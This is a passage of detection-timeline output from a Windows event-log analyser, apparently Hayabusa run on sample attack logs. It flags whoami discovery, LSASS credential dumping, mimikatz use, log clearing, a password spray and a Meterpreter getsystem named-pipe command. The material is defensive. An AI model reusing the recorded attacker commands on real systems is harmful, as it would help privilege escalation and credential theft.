05:59:22.144 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /all : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -s -NoLogo -NoProfile",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:22.144 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:22.144 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:22.144 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:55.472 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 16:23:00.883 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:46:15.215 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /c echo msdhch > \\.\pipe\msdhch : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_meterpreter_getsystem_NamedPipeImpersonation.evtx +2019-04-30 16:46:15.215 +09:00,IEWIN7,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_meterpreter_getsystem_NamedPipeImpersonation.evtx +2019-04-30 16:46:15.215 +09:00,IEWIN7,1,high,Meterpreter or Cobalt Strike Getsystem Service Start,,rules/sigma/process_creation/win_meterpreter_or_cobaltstrike_getsystem_service_start.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_meterpreter_getsystem_NamedPipeImpersonation.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,8,high,Password Dumper Remote Thread in LSASS,,rules/sigma/create_remote_thread/sysmon_password_dumper_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,8,high,Password Dumper Remote Thread in LSASS,,rules/sigma/create_remote_thread/sysmon_password_dumper_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-04-30 21:43:43.784 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_sysmon_hashdump_cmd_meterpreter.evtx +2019-05-01 03:08:22.618 +09:00,Sec504Student,1102,high,Security log was cleared,User: Sec504,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,medium,Unknown process used a high privilege,Process: C:\Tools\mimikatz\mimikatz.exe : User: Sec504 : LogonID: 0x1e3dd,rules/hayabusa/default/alerts/Security/4673_Multiple_UnknownProcessUsedHighPrivilege.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 03:08:29.138 +09:00,Sec504Student,4673,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/DeepBlueCLI/mimikatz-privesc-hashdump.evtx +2019-05-01 04:27:00.297 +09:00,DESKTOP-JR78RLP,1102,high,Security log was cleared,User: jwrig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:02.847 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:02.847 +09:00,-,-,medium,Password Spray,[condition] count(TargetUserName) by IpAddress >= 5 in timeframe [result] count:41 TargetUserName:cspizor/bgreenwood/baker/dpendolino/melliott/cfleener/sarmstrong/sanson/lpesce/wstrzelec/drook/thessman/mtoussain/jorchilles/ssims/bhostetler/dmashburn/edygert/cmoody/tbennett/cdavis/zmathis/eskoudis/jleytevidal/jwright/bgalbraith/psmith/lschifano/celgee/kperryman/bking/cragoso/rbowes/jkulikowski/jlake/econrad/smisenar/mdouglas/gsalinas/Administrator/ebooth IpAddress:172.16.144.128 timeframe:5m,rules/hayabusa/default/alerts/Security/4648_BruteForce_PasswordSprayDetect.yml,- +2019-05-01 04:27:03.925 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:05.020 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:06.085 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:07.171 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:08.254 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:09.323 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:10.377 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:11.465 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:12.549 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:13.611 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:14.687 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:27:15.750 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : 